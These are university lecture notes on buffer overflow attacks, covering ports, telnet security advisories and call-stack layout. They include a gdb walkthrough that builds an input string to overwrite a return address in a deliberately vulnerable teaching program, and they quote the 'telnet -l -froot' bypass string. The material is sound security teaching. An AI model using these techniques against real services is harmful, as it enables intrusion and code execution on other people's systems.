Lecture 21: Buffer Overflow Attack

Lecture Notes on "Computer and Network Security"

by Avi Kak (kak@purdue.edu)

April 19, 2016

12:10am

Goals:

- Services and ports
- A case study on buffer overflow vulnerabilities: The `telnet` service
- Buffer Overflow Attack: Understanding the call stack
- Overrunning the allocated memory in a call stack
- Demonstration of Program Misbehavior Because of Buffer Overflow
- **Using `gdb` to craft program inputs for exploiting buffer-overflow vulnerability**

CONTENTS

21.1: Services and Ports

- Since buffer overflow attacks are typically targeted at specific services running on certain designated ports, let's start by reviewing the service/port pairings for some of the standard services in the internet.

- Every service on a machine is assigned a port. On a Unix/Linux machine, the ports assigned to standard services are listed in the file `/etc/services`. Here is a very small sampling from this list from my Linux laptop:

```
# The latest IANA port assignments for network services can be obtained
# from:
#       http://www.iana.org/assignments/port-numbers
#
# The Well Known Ports are those from 0 through 1023.  The Registered
# Ports are those from 1024 through 49151. The Dynamic and/or Private
# Ports are those from 49152 through 65535

# Each line describes one service, and is of the form:
#
#    service-name  port/protocol  [aliases ...]    [# comment]

echo 7/tcp
echo 7/udp
daytime 13/tcp
daytime 13/udp
```

```
ftp-data 20/tcp
ftp 21/tcp
ssh 22/tcp # SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
domain  53/udp
domain 53/tcp
tftp 69/tcp
finger 79/tcp
http 80/tcp www www-http # WorldWideWeb HTTP
kerberos 88/tcp kerberos5 krb5 # Kerberos v5
hostname 101/tcp hostnames # usually from sri-nic
pop3 110/tcp pop-3 # POP version 3
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP
auth 113/tcp authentication tap ident
auth 113/udp authentication tap ident
sftp 115/tcp
sftp 115/udp
uucp-path 117/tcp
nntp 119/tcp readnews untp # USENET News Transfer Protocol
ntp 123/tcp
netbios-ns 137/tcp # NETBIOS Name Service
imap2  143/tcp imap  # Internet Mail Access Protocol
imap2  143/udp imap
ipp 631/tcp # Internet Printing Protocol
rsync 873/tcp # rsync
imaps   993/tcp # IMAP over SSL
pop3s 995/tcp # POP-3 over SSL
biff 512/udp comsat
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
printer 515/tcp spooler # line printer spooler
printer 515/udp spooler # line printer spooler
talk 517/udp
router 520/udp route routed # RIP
uucp 540/tcp uucpd # uucp daemon
netstat 15/tcp # (was once asssigned, no more)
...
...
and many many more, see /etc/services for the complete list.
```

- It is important to note that when we talk about a network service on a machine, it does not imply that the service is only meant for human users in a network. In fact, many of the services running on your computer are for the benefit of other computers (and other devices such as printers, routers, etc.).

- A continuously running computer program that provides a service to others in a network is frequently called a **daemon server** or just **daemon**.

21.2: WHY IS THE BUFFER OVERFLOW PROBLEM SO IMPORTANT IN COMPUTER AND NETWORK SECURITY?

- **Practically every worm that has been unleashed in the Internet has exploited a buffer overflow vulnerability in some networking software.**

- The statement made above is just as true today as it was 20 years ago when the Morris worm caused a major disruption of the internet. (See Lecture 22 on viruses and worms.)

- Although modern compilers can inject additional code into the executables for runtime checks for the conditions that cause buffer overflow, the production version of the executables may not incorporate such protection for performance reasons. Additional constraints, such as those that apply to small embedded systems, may call for particularly small executables, meaning executables without the protection against buffer overflow. [IMPORTANT: For some of the compilers out there, the advertised built-in protection against stack corruption by buffer overflow is mostly an illusion. See Section 21.6 of this lecture.]

21.3: A CASE STUDY IN COMPUTER SECURITY: THE `telnet` SERVICE

- Let's consider the telnet service in particular since it has been the subject of a fairly large number of security problems. [**The Telnet protocol (through the command `telnet`) allows a user to establish a terminal session on a remote machine for the purpose of executing commands there. For example, if you wanted to log into, say, `moonshine.ecn.purdue.edu` from your personal machine, you would use the command '`telnet moonshine.ecn.purdue.edu`'. For reasons of security, remote terminal sessions are now created with the SSH command, as you so well know.**] [**Although the `telnet` command is no longer used by human users to gain terminal access at other hosts in a network, it is still used for certain kinds of computer-to-computer exchanges across networks.**]

- From the port mappings listed in Section 21.1, a constantly running **`telnetd`** daemon at a Telnet server monitors port 23 for incoming connection requests from Telnet clients.

- When a client seeks a Telnet connection with a remote server, the client runs a program called **`telnet`** that sends to the server machine a **socket number**, which is a combination of the IP address of the client machine together with the port number that the client will use for communicating with the server. When the server receives the client **socket number**, it acknowledges the request by sending back to the client its own socket number.

- In the next section, let's now look at some of the security bulletins that have been issued with regard to the telnet service.

21.3.1: Some Security Bulletins Concerning the telnet Service

- On February 10, 2007, US-CERT (*United States Computer Emergency Readiness Team*) issued the following Vulnerability Note:

```
Vulnerability Note VU#881872

OVERVIEW:  A vulnerability in the Sun Solaris telnet daemon (in.telnetd)
could allow a remote attacker to log on to the system with elevated
privileges.

Description: The Sun Solaris telnet daemon may accept authentication
information vis the USER environment variable. However, the
daemon does not properly sanitize this information before passing it
on to the login program and login makes unsafe assumptions about the
information.  This may allow a remote attacker to trivially bypass the
telnet and login authentication mechanisms. .....

This vulnerability is being exploited by a worm .....
 ......
 ......
```

The problem occurs (supposedly because of the buffer overflow attack) if you make a connection with the string "`telnet -l -froot`". **(As a side note, US-CERT (**`http://www.us-cert.gov/`**) was established in** 2003 **to protect the internet infrastructure. It publishes Vulnerability Notes at** `http://www.kb.cert.org/vuls/`**.)**

- As mentioned in the Vulnerability Note, there is at least one worm out there that can make use of the exploit mentioned above to break into a remote host either as an unprivileged or a privileged user and execute commands with the privileges of that user.

- On December 31, 2004, CISCO issued the following security advisory:

```
Cisco Security Advisory: Cisco Telnet Denial of Service Vulnerability

Document ID: 61671
Revision 2.4

Summary:

A specifically crafted TCP connection to a telnet or a reverse telnet
port of a Cisco device running Internetwork Operating System (IOS) may
block further telnet, reverse telnet, remote shell (RSH), secure shell
(SSH), and in some cases HTTP access to the Cisco device.  Data Link
Switching (DLSw) and protocol translation connections may also be
affected.  Telnet, reverse telnet, RSH, SSH, DLSw and protocol
translation sessions established prior to exploitation are not affected.
....
....
This vulnerability affects all Cisco devices that permit access via
telnet or reverse telnet.......
....
....
Telnet, RSH, and SSH are used for remote management of Cisco IOS devices.
```

- On February 7, 2002, Microsoft released the following security bulletin:

```
Microsoft Security Bulletin MS02-004
```

```
Problem:  A vulnerability exists in some Microsoft Telnet Server products
          that may cause a denial-of-service or allow an attacker to
          execute code on the system.

Platform:  Telnet Service in Microsoft Windows 2000

Damage:    A successful attack could cause the Telnet Server to
           fail, or in some cases, may allow an attacker to execute
           code of choice on the system.

.....
.....

Vulnerability Assessment:  The risk is HIGH.  Exploiting this
                           vulnerability may allow an attacker
                           complete control of the system.
Summary:
```

Unchecked buffer in telnet server could lead to arbitrary code execution.

```
....
....
```

The server implementation ..... contains unchecked buffers in code that handles the processing of telnet protocol options.

An attacker could use this vulnerability to perform buffer overflow attack.

```
....
....

A successful attack could cause the Telnet server to fail, or
in some cases, could possibly allow attackers to execute code
of their choice on the system.
....
....
The vulnerability exists because of an unchecked buffer in
a part of code that handles the Telnet protocol options.
By submitting a specially specific malformed packet, a
malicious user could overrun the buffer.
....
....
```

- Although the following security bulletin from Ubuntu has nothing to do with `telnet`, I decided to include it because it was triggered by the **buffer overflow** problem. If you are in the habit of looking at the descriptions associated with the all-too-frequent software updates to Ubuntu, you have surely noticed that buffer-overflow continues to be a big problem as a source of major security vulnerabilities. [Even if the problem were to disappear from licit code, it could still be injected deliberately in malware to create backdoor entries into a network. So, in all likelihood, buffer overflow will always be an important topic of study in computer security.]

```
April 9, 2010

Security upadates for the packages:

   erlang-base
   erlang-crypto
   erlang-inets
   erlang-mnesia
   erlang-public-key
   erlang-runtime-tools
   erlang-ssl
   erlang-syantax-tools
   erlang-xmerl

Changes for the versions:
1:13.b.1-dfsg-2ubuntu1
1:13.b.1-dfsg-2ubuntu1.1

Version 1:13.b.1-dfsg-2ubuntu1.1:
```

* SECURITY UPDATE: denial of service via **heap-based buffer overflow** in `pcre_compile.c` in the Perl-Compatible Regular Expression (PCRE) library (LP: #535090)

```
  - CVE-2008-2371

  - debian/patches/pcre-crash.patch is cherrypicked from
```

```
upstream commit
http://github.com/erlang/otp/commit/bb6370a2. The hunk
for the testsuite does not apply cleanly and is not
needed for the fix so was stripped. This fix is part
of the current upstream OTP release R13B04.
```

21.4: BUFFER OVERFLOW ATTACK: UNDERSTANDING THE CALL STACK

- Let's first look at the two different ways in which you can allocate memory for a variable in a C program:

```
int data[100];

int* ptr = malloc( 100 * sizeof(int) );
```

The first declaration allocates memory on the stack at compile time and the second declaration allocates memory on the heap at run time. [**Of course, with either declaration, you would be able to use array indexing to access the individual elements of the array. So, `data[3]` and `ptr[3]` would fetch the same value in both cases, assuming that the same array is stored in both cases.**] As you surely know already, runtime memory allocation is much more expensive than compile time memory allocation. As to the relative costs, see Chapter 12 "Weak References for Memory Management" of my book "Scripting with Objects" published by John Wiley (2008).

- **Buffer overflow** occurs when information is written into the memory allocated to a variable on a stack **but the size of this information exceeds what was allocated at compile**

time. [*It is also possible to create buffer overflows in a heap; those are usually known as* **heap buffer overflows***. Basically, you can create an overflow any time information is placed in a memory block assigned to an array without checking the bounds on what is actually placed there. That* **heap buffer overflow** *is of great importance from a security standpoint is underscored by the fact that the mid-July 2015 update of Google Chrome for Android included several patches to fix the heap buffer overflow vulnerabilities in the software. You can get more information on these vulnerabilities by googling CVE-2015-1271, CVE-2015-1273, CVE-2015-1279, and CVE-2015-1283.*]

- So to understand the buffer overflow attack, you must first understand how a process uses its stack. What we mean by a **stack** here is also referred to as a **run-time stack**, **call stack**, **control stack**, **execution stack**, etc.

- When you run an executable, it is run in a process. As the process executes the main function of the program, it is likely to encounter local variables and calls to functions. As it encounters each new local variable, it is pushed into the stack, and as it encounters a function call, it creates a new stack frame on the stack. [This operational logic works recursively, in the sense that as local variables and nested function calls are encountered during the execution of a function, the local variables are pushed into the stack and the function calls encountered result in the creation of stack frames.]

- Consider the following C program:

```
// ex.c

#include <stdio.h>
```

```
int main() {
    int x = foo( 10 );
    printf( "the value of x = %d\n", x );
    return 0;
}
int foo( int i ) {
    int ii = i + i;
    int iii = bar( ii );
    int iiii = 2 * iii;
    return iiii;
}
int bar( int j ) {
    int jj = j + j;
    return jj;
}
```

- Let's now focus on what is in the call stack for the process in which the program is being executed at the moment when `foo` has just called called `bar` and the statement '`int jj = j+j`' of `bar()` has just been executed. Although the precise details regarding what the call stack would look like depend on the machine architecture and the specific compiler used, the following is not an unrealistic model for the assembly code generated by the `gcc` compiler for the x86 architectures:

```
stack_ptr-->   jj                                       |
               return-address to caller                 | stack frame for bar
               j                                        |

               iii                                      |
               ii                                       | stack frame for foo
               return-address to caller                 |
               i                                        |
```

```
x                                        |
argc                                     | stack frame for main
argv                                     |
```

Note that the **call stack** consists of a sequence of **stack frames**, one for each calling function that has not yet finished execution. In our case, `main` called `foo` and `foo` called `bar`. The top stack frame is for the function that just got called and that is currently being executed. The memory locations within the stack are accessed with the help of a **stack pointer** that always points to the top of the stack. [There is obviously a **register** somewhere that holds the stack pointer. That is the same thing as saying that this register will store the address on the stack to which the stack pointer is pointing.]

- The **return address** you see in each stack frame is the memory address of the top of the stack frame for the calling function.

- The values stored in each stack frame above the location of the return address are for those local variables that are still in scope at the current moment. That is why the stack frame for `foo` shows `iii` at the top, but not yet `iiii`, since the latter has not yet been seen (when `bar` was called). Note that the parameters in the header of a function are stored below the location of the return address.

- As the compiler encounters each new variable, it issues an instruction for pushing the value of the variable into the stack. That is why the value of the variable `jj` is at the top of the stack. Subsequently, as each variable goes out of scope, its value is popped off the stack. In our simple example, when the thread of execution reaches the right brace of the body of the definition of `bar`, the variable `jj` would be popped off the stack and what will be at the top will be pointer to the top of the stack frame for the calling function `foo`.

- How the stack is laid out can be seen by looking at the assembly code for the source code example `ex.c` shown earlier in this section. We can generate the assembly code file for that program by giving the '`-S`' option to the `gcc` command, as in

```
gcc -O0 -S ex.c -o ex.S
```

  where the '-O0' flag tells the compiler to use the optimization level 0 so that the assembly code that is produced can be comprehended by humans. [The different integer values associated with '-O' are 0 for optimization for compile time, 1 for optimization for code size and execution, 2 for further optimization for code size and execution, and so on. Not specifying an integer is the same as using '1'. Also note that the option '-O0' is the default for calling `gcc`. So the above call produces the same output as the call '`gcc -S ex.c -o ex.S`'] You can also add the flag '`-fverbose-asm`' to the above command-line to see compiler generated comments in the output so that you can better establish the relationship between the assembly code and the source code. Shown below is a section of the assembly output in the file `ex.S`:

```
...      .....   .....
...      .....   .....
.globl bar
.type bar, @function
bar:
pushl %ebp
movl %esp, %ebp
movl 8(%ebp), %eax
addl %eax, %eax
popl %ebp
ret
.size bar, .-bar
.globl foo
.type foo, @function
foo:
pushl %ebp
movl %esp, %ebp
subl $4, %esp
movl 8(%ebp), %eax
addl %eax, %eax
movl %eax, (%esp)
call bar
leave
ret
.size foo, .-foo
         ...
         ...
```

- To see what the above assembly output says about the call stack layout, note that the Intel x86 calling convention (which refers to how a calling function passes parameters values to a called function and how the former receives the returned value) uses the following 32-bit registers for holding the pointers described below [Here is a list of all 32-bit registers for x86 processors: `esp` for holding the top address of the stack, `ebp` for holding the address of the base of a stackframe, `eip` used as the instruction pointer, `eax` used as the accumulator, `ebx` used as a base pointer for memory access (regarding the difference between `ebp` and `ebx`, the former can only be used for the within-stack operations that are described later in this section), esi used for string and memory array copying, ecx called the counter register and used as a loop counter, edi used as destination index register, and edx used as a data register. For 64-bit x86 processors, the register names are the same except that the first letter is always 'r'. The presentation in Section 21.8 on designing strings for carrying out buffer overflow exploits is based on 64-bit x86. The discussion in that section uses the register names `rsp`, `rbp`, etc.]:

Stack Pointer: The name of the register that holds this pointer is **esp** for 32-bit processors and **rsp** for 64-bit processors, the last two letters of the name standing for "stack pointer". This register always points to the top of the process call stack.

Base Pointer: This register is denoted **ebp** for 32-bit processors and **rbp** for 64-bit processors. This register holds a memory address that points to the base of the *current* stack frame. The memory address held by `ebp` (or `rbp`) can be quickly dereferenced to access the arguments with which the function corresponding to the current stack frame was called. This pointer is also frequently called the **Frame Pointer**.

Instruction Pointer: This register is denoted **eip**. This holds the address of the next CPU instruction to be executed.

- Shown below is the annotated version for a portion of the assembly output (shown earlier in this section) that illustrates more clearly the construction of the call stack:

```
...    .....    .....
...    .....    .....
.global foo
        .type       foo, @function    (directives useful for assembler/linker
                                       begin with a dot)

foo:
        pushl       %ebp               push the value stored in the register ebp
                                       into the stack.

        movl        %esp, %ebp         move the value in register esp to register ebp
                                       (we are using the AT&T (gcc) syntax:
                                       'op source dest')

        subl        $4, %esp           subtract decimal 4 from the value in esp register
                                       (so stack ptr will now point to 4 locations
                                       down, meaning in the direction in which
                                       the stack grows as you push info into it)

        movl        8(%ebp), %eax      move to accumulator a value that is stored at
                                       stack location decimal 8 + the memory address
                                       stored in ebp (this moves local var i into
                                       accumulator)

        addl        %eax, %eax         i + i

        movl        %eax, (%esp)       move the content of the accumulator into the
                                       stack location pointed to by the content of the
                                       esp register (this is where you would want to
                                       store the value of the local variable ii that
                                       then becomes the argument to bar)

        call        bar                call bar

        leave
        ....        ....
        ....        ....
```

- Note that by convention the stack grows downwards (which is opposite from how a stack is shown pictorially) and that, as the stack grows, the addresses go from high to low. So when you push a 4-byte variable into the stack, the address to which the stack pointer will point will be the previous value minus 4. This should explain the `sub` instruction (for subtraction). The 'l' suffix on the instructions shown (as in **`pushl`**, **`movl`**, **`subl`**, etc.) stands for 'long', meaning that they are 32-bit instructions. **(By the same token, the suffix 'b' stands for single byte instructions, and 'w' for 'word', meaning 16-bit instructions.)** Considered without the suffixes, **push**, **mov**, **sub**, etc., are the *instruction mnemonics* that constitute the **x86 assembly language**. Other mnemonic instructions in this language include **jmp** for unconditional jump, **jne** for jump on non-equality, **je** for jump on equality, etc.

21.4.1: Buffer Overflow Attack: Overrunning the Memory Allocated on the Call Stack

- Next consider the following program in C:

```
// buffover.c

#include <stdio.h>

int main() {
    foo();
}

int foo(){
    char buffer[5]; char ch; int i = 0;
    printf("Say something: ");
    while ((ch = getchar()) != '\n')  buffer[i++] = ch;
    buffer[i] = '\0';
    printf("You said: %s\n", buffer);
    return 0;
}
```

This program asks a user to enter a message. Whatever the user enters in a single line is accepted as the message and stored in the array `buffer` of chars. [As the user enters keystrokes, the corresponding characters are entered into the operating system's keyboard buffer and then, when the user hits the "Enter" key on the keyboard, the operating system transfers the contents of the keyboard buffer into the `stdin` stream's internal buffer. The call to `getchar()` reads one character at a time from this buffer.]

- Let's now see what the call stack would look like just before the execution of the while loop in the program:

```
stack_ptr-->   i                  (four bytes of memory)
               ch                 (one byte of memory)
               buffer             (five bytes of memory)
               return-address to the top of the calling stack frame

               main
```

For a more complete look at the call stack, you will have to examine the file generated by

```
gcc -S -O buffover.c -o buffover.S
```

The assembler code in **buffover.S** shows more clearly how a jump instruction is used to execute the **while** loop of the source code.

- As the `while` loop is entering characters in the memory allocated to the array variable `buffer` on the stack, **there is no mechanism in place for stopping when the five bytes allocated to `buffer` are used up.**

- What happens next depends entirely on the details of how the stacks are implemented in a particular system and how the memory is allocated. If the system has the notion of a *memory word* consisting of, say, 32 bits and if stack memory is allocated at word boundaries, then as you overrun the buffer in the above program, the program will continue to function up to a point as you enter longer and longer messages in response to the prompt.

- But at some point, the string you enter will begin to overwrite the memory locations allocated to other variables on the stack and also possibly the location where the return address of the calling function is stored. When this happens, the program will be aborted with a segmentation fault. Check it out for yourself by compiling the program and executing it first with a short input and then with a very long input.

21.5: DEMONSTRATION OF PROGRAM MISBEHAVIOR CAUSED BY BUFFER OVERFLOW

- I will now give a vivid demonstration of how a program may continue to function but produce incorrect results because of buffer overflow on the stack.

- Let's consider the following variation on the program shown in Section 21.4.1:

```
// buffover2.c

#include <stdio.h>

int main() {
    while(1) foo();
}

int foo(){
    unsigned int yy = 0;
    char buffer[5]; char ch; int i = 0;
    printf("Say something: ");
    while ((ch = getchar()) != '\n')  buffer[i++] = ch;
    buffer[i] = '\0';
    printf("You said: %s\n", buffer);
    printf("The variable yy: %d\n", yy);
    return 0;
}
```

- The important difference here from the program `buffover.c` in the previous section is that now we define a new variable `yy` *before* allocating memory for the array variable `buffer`. The other change here, placing the call to `foo()` inside the infinite loop in `main` is just for convenience. By setting up the program in this manner, you can experiment with longer and longer input strings until you get a segfault and the program crashes. [Note again that we have two `while` loops in the code, one in `main()` so that you can experiment with longer and longer input strings, and the other inside `foo()` for transferring the contents of `stdin`'s buffer into the memory allocated (on the stack) to the array `buffer` one char at a time.]

- The stack frame for `foo()` just prior to the execution of its `while` loop will look like:

```
stack_ptr-->    i                     (four bytes of memory)
                ch                    (one byte of memory)
                buffer                (five bytes of memory)
                yy                    (four bytes)
                return-address to the top of the calling stack frame

                main
```

  As you enter longer and longer messages in response to the "`Say something:`" prompt, what gets written into the array `buffer` would at some point overwrite the memory allocated to the variable `yy`.

- So, whereas the program logic dictates that the value of the local variable **yy** should always be 0, what you actually see may depend on what string you entered in response to the prompt. When I interact with the program on my Linux laptop, I see the following behavior:

```
Say something: 0123456789012345678901234567
You said: 0123456789012345678901234567
The variable yy: 0                                 <-----  correct

Say something: 01234567890123456789012345678
You said: 01234567890123456789012345678
The variable yy: 56                                <------  ERROR

Say something: 012345678901234567890123456789
You said: 012345678901234567890123456789
The variable yy: 14648                             <------  ERROR

Say something: 0123456789012345678901234567890
You said: 0123456789012345678901234567890
The variable yy: 3160376                           <------  ERROR

Say something: 01234567890123456789012345678901
You said: 01234567890123456789012345678901
The variable yy: 825243960                         <------  ERROR

....
```

- As you would expect, as you continue to enter longer and longer strings, at some point the program will crash with a segfault.

- Ordinarily, you would compile the program shown above with a command line like

```
gcc buffover2.c  -o  buffover2
```

which would leave the executable in a file named `buffover2`. However, if you are unable to reproduce the buffer overflow effect with the compilation command as shown above, try the following:

```
gcc -fno-stack-protector  buffover2.c  -o  buffover2
```

One of the mechanisms used for stack protection in the more recent versions of `gcc` is to move the array variables to the highest level of a stack frame where any overflows are less likely to cause problems with scalar variables, the return address, etc. If you are unable to reproduce my demonstration with the first of the two command lines shown above, it is because of this rearrangement of the variables of the `buffover2.c` program. With this rearrangement, overflowing the stack memory allocated to the array `buffer` does not overwrite the memory allocated to the local variable `yy`. [**It is rather easy to be lulled into complacency by the default stack protection provided by `gcc`. As I will show in the next section, this protection does not prevent some extremely ordinary attempts at stack memory corruption.**]

21.6: USING gdb TO CRAFT PROGRAM INPUTS FOR EXPLOITING BUFFER-OVERFLOW VULNERABILITY

- As you now know, exploiting a buffer overflow vulnerability in some application software means, first, that there exists in the application at least one function that requires a string input at run time, and, second, when this function is called with a specially formatted string, that would cause the flow of execution to be redirected in a way that was not intended by the creators of the application.

- Our goal in this section is to answer the question: How does one craft the specially formatted string that would be needed for a buffer overflow exploit?

- One of the most basic tools you need for designing such a string is an assembler-level debugger such as the very popular GNU `gdb`.

- We will carry out our buffer-overflow input-string design exercise on the following C file:

```
// buffover4.c

#include <stdio.h>
#include <string.h>

void foo(char *s) {
    char buf[4];
    strcpy(buf, s);
    printf("You entered: %s", buf);
}

void bar() {
  printf("\n\nWhat? I was not supposed to be called!\n\n");
  fflush(stdout);
}

int main(int argc, char *argv[]) {
  if (argc != 2) {
    printf("Usage: %s some_string", argv[0]);
    return 2;
  }
  foo(argv[1]);
  return 0;
}
```

Note the following three features of this program:

1. As you can see from `main`, the program requires that you call it with exactly one string as a command-line argument. [The argument count held by `argc` includes the name of the program (which in our case is `buffover4.c`).]

2. `main` calls `foo()` with the command-line argument received by `main`. The function `foo()` is obviously vulnerable to buffer

overflow since it uses `strcpy()` to copy its argument string into the array variable `buf` that has only 4 bytes allocated to it.

3. The function `bar()` is NOT called anywhere in the code. Therefore, ordinarily, you would never see in your terminal window the message that is supposed to be printed out by `printf()` in `bar()`.

- Our goal in this section is to design an input string that when fed as a command-line argument to the above program would cause the flow of execution to move into the function `bar()`, with the result that the message shown inside `bar()` will be printed out.

- We obviously want the overflow in the buffer allocated to the array variable `buf` to be such that it overruns the stack memory location where the stack-frame created for `foo()` stores the return address. *As mentioned previously, the return address points to the top of the stackframe of the calling function.* Even more importantly, this overwrite must be such that the new return address corresponds to the entry into the code for the function `bar()`. [If you just randomly overrun the buffer and overwrite the return address in a stack frame, you are likely to create a pointer to some invalid location in the memory. When that happens, the program will just crash with a segfault. That is, with a random overwrite of the return address in a stackframe, you are unlikely to cause the thread of execution to initiate the execution of another function.]

- In the rest of this section, I will show how you can "design" an input string for the program shown above so that the buffer overflow vulnerability in the `foo()` function can be exploited to steer at run-time the flow of execution into the `bar()` function.

- The step-by-step demonstration presented below was created with Ubuntu 10.4 64-bit Linux distribution. [If you are not sure as to whether you are running a 32 bit or a 64 bit Linux distribution, do either `uname -a` or `uname -m`. In either case, for 64-bit Linux, you will see the substring `x86_64` in the string that is returned.]

- Note that since we will be working with 64-bit memory addressing, as mentioned previously in Section 21.4, in the discussion that follows the register that holds the stack pointer is named `rsp` and the register that holds the frame pointer is named `rbp`.

- Here are the steps:

Step 1: Compile the code with the '-g' option in order to produce the information needed by the debugger:

```
gcc -g buffover4.c -o buffover4
```

Do realize that we are leaving in place the default stack protection provided by the `gcc` compiler. As you will see, this default stack protection does not do us any good.

Step 2: We now run the executable `buffover4` inside the `gbb` debugger:

```
gdb buffover4
```

Step 3: We need the memory address for entry to the object code for the `bar()` function. As stated earlier, when the return address in the stackframe for `foo()` is overwritten, we want the new address to be the entry into the object code for `bar()`. So we ask `gdb` to show the assembly code for `bar()`. This we do by

```
(gdb)  disas bar
```

where `(gdb)` is the debugger prompt and where `disas` is simply short for the command `disassembly` — you can use either version. The above invocation will produce an output like

```
Dump of assembler code for function bar:
   0x000000000040068e <+0>:      push   %rbp
   0x000000000040068f <+1>:      mov    %rsp,%rbp
   0x0000000000400692 <+4>:      mov    $0x400800,%edi
   0x0000000000400697 <+9>:      callq  0x400528 <puts@plt>
   0x000000000040069c <+14>:     mov    0x20099d(%rip),%rax # 0x601040 ...
   0x00000000004006a3 <+21>:     mov    %rax,%rdi
   0x00000000004006a6 <+24>:     callq  0x400558 <fflush@plt>
   0x00000000004006ab <+29>:     leaveq
   0x00000000004006ac <+30>:     retq
End of assembler dump.
```

From the above dump, we get hold of the first memory location that signifies the entry into the object code for `bar()`. For the compilation we just carried out, this is given by `0x000000000040068e`. We are only going to need the last four bytes of this memory address: `0040068e`. When we overwrite the buffer for the array `buf` in `foo()`, we want the four bytes `0040068e` to be the overwrite for the return address in `foo`'s stackframe.

Step 4: Keeping in the mind the four bytes shown above, we now synthesize a command-line argument needed by our program `buffover4`. This we do by

```
(gdb)   set args ‘perl -e ’print "A" x 24 . "\x8e\x06\x40\x00"’‘
```

Note that we are asking `perl` to synthesize for us a 28 byte string in which the first 24 characters are just the letter ’A’ and the last four bytes are what we want them to be. In the above invocation, `set args` is a command to `gdb` to set what is returned by `perl` as a command-line argument for `buffover4` object code. The option ’-e’ to `perl` causes Perl to evaluate what is inside the forward ticks. The operator ’x’ is Perl’s replication operator and the operator ’.’ is Perl’s string concatenation operator. Note that the argument to `set args` is inside backticks, which causes the evaluation of the argument. [Also note that the four bytes we want to use for overwriting the return address are in the reverse order of how they are needed. This is to take care of the big-endian to little-endian conversion problem.]

Step 5: We are now ready to set a couple of breakpoints for the debugger. Our first breakpoint will be at the entry to `foo()` and our second breakpoint at a point just before the exit from this function. To set the first breakpoint, we say

```
(gdb)   break foo
```

Step 6: For the second breakpoint, as mentioned above, we need a point just before the thread of execution exits the stackframe for `foo()`. To locate this point, we again call on the disassembler:

```
(gdb)  disas foo
```

This will cause the debugger to display something like:

```
Dump of assembler code for function foo:
   0x0000000000400654 <+0>:         push   %rbp
   0x0000000000400655 <+1>:         mov    %rsp,%rbp
   0x0000000000400658 <+4>:         sub    $0x20,%rsp
   0x000000000040065c <+8>:         mov    %rdi,-0x18(%rbp)
   0x0000000000400660 <+12>:        mov    -0x18(%rbp),%rdx
   0x0000000000400664 <+16>:        lea    -0x10(%rbp),%rax
   0x0000000000400668 <+20>:        mov    %rdx,%rsi
   0x000000000040066b <+23>:        mov    %rax,%rdi
   0x000000000040066e <+26>:        callq  0x400548 <strcpy@plt>
   0x0000000000400673 <+31>:        mov    $0x4007f0,%eax
   0x0000000000400678 <+36>:        lea    -0x10(%rbp),%rdx
   0x000000000040067c <+40>:        mov    %rdx,%rsi
   0x000000000040067f <+43>:        mov    %rax,%rdi
   0x0000000000400682 <+46>:        mov    $0x0,%eax
   0x0000000000400687 <+51>:        callq  0x400518 <printf@plt>
   0x000000000040068c <+56>:        leaveq
   0x000000000040068d <+57>:        retq
End of assembler dump.
```

We will set the second breakpoint to the assembly instruction `leaveq`:

```
(gdb)  break *0x000000000040068c
```

Step 7: Now we are ready to run the code:

```
(gdb)  run
```

As you would expect, this execution will halt at the first breakpoint. Given that our code is so simple, it won't even take a moment for that to happen. When the execution halts at the breakpoint, `gdb` will print out something like this:

```
Starting program: /home/kak/course.d/ece404.11.d/BufferOverflow/buffover4 ‘perl -e .....
Breakpoint 1, foo (s=0x7fffffffe757 ’A’ <repeats 24 times>"\216, \006@") at buffover4.c:13
```

Step 8: With the execution halted at the first breakpoint, we want to examine the contents of the stackframe for `foo`. To see what the stack pointer is pointing to, we invoke the GDB commands shown below. The values returned are displayed in the commented out portions of the display:

```
(gdb) print /x *(unsigned *) $rsp       # what is at the stack location
                                        # pointed to by stack pointer
                                        #  $1 = 0xffffe410

(gdb) print /x $rbp                     # what is stored in frame pointer
                                        #  $2 = 0x7fffffffe2f0

(gdb) print /x *(unsigned *) $rbp       # what is at the stack location
                                        # pointed to by frame pointer
                                        #  $3 = 0xffffe310

(gdb) print /x *((unsigned *) $rbp + 2) # what is the return address
                                        # for this stackframe
                                        #  $4 = 0x4006f8

(gdb) print /x $rsp                     # what is stored in stack pointer
                                        #  $5 = 0x7fffffffe2d0
```

The specific values we have shown as being returned by the print commands are for this particular demonstration. That is, if we were to recompile `buffover4.c`, especially if we do so after we have changed anything at all in the source code, these values would surely be different.

Step 9: Let's now examine a segment of 48 bytes on the stack starting at the location pointed to by the stack pointer:

```
(gdb)   x /48b $rsp
```

This will return an output like

```
0x7fffffffe2d0: 0x10    0xe4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe2d8: 0x57    0xe7    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe2e0: 0xa8    0x9a    0xa6    0xf7    0xff    0x7f    0x00    0x00
```

```
0x7fffffffe2e8: 0x10    0x07    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffe2f0: 0x10    0xe3    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe2f8: 0xf8    0x06    0x40    0x00    0x00    0x00    0x00    0x00
```

You see a six line display of bytes. In the first line, the first four bytes are, in reverse order, the bytes at the location on the stack that is pointed to by what is stored in the stack pointer — earlier we showed this value to be `0xffffe410`. The first four bytes in the fifth line are, again in reverse order, the value stored at the stack location pointed to by the frame pointer. Earlier we showed that this value is `0xffffe310`. Again you saw earlier that when we printed out the return address directly, it was `0x4006f8`. The bytes shown in reverse order in the sixth line, `0xf8`, `0x06`, `0x40`, and `0x00`, correspond to this return address.

It has been a while since we talked about the flow of execution having stopped at the first breakpoint, which we set at the entry into `foo`. To confirm that fact, if you wish you can now execute the command

```
(gdb)   disas foo
```

You will see the assembly code for `foo` and an arrow therein that will show you where the program execution is currently stopped.

Step 10: Having examined the various registers and the stackframe for `foo`, it is time to resume program execution. This we do by

```
(gdb)  cont
```

where the command `cont` is the short form of the command `continue`. The thread of execution will come to a halt at our second breakpoint, which is just before the exit from the object code for `foo`, as you will recall. To signify this fact, `gdb` will print out the following message on the screen:

```
Breakpoint 2, foo (s=0x7fffffffe757 'A' <repeats 24 times>"\216, \006@") ....
```

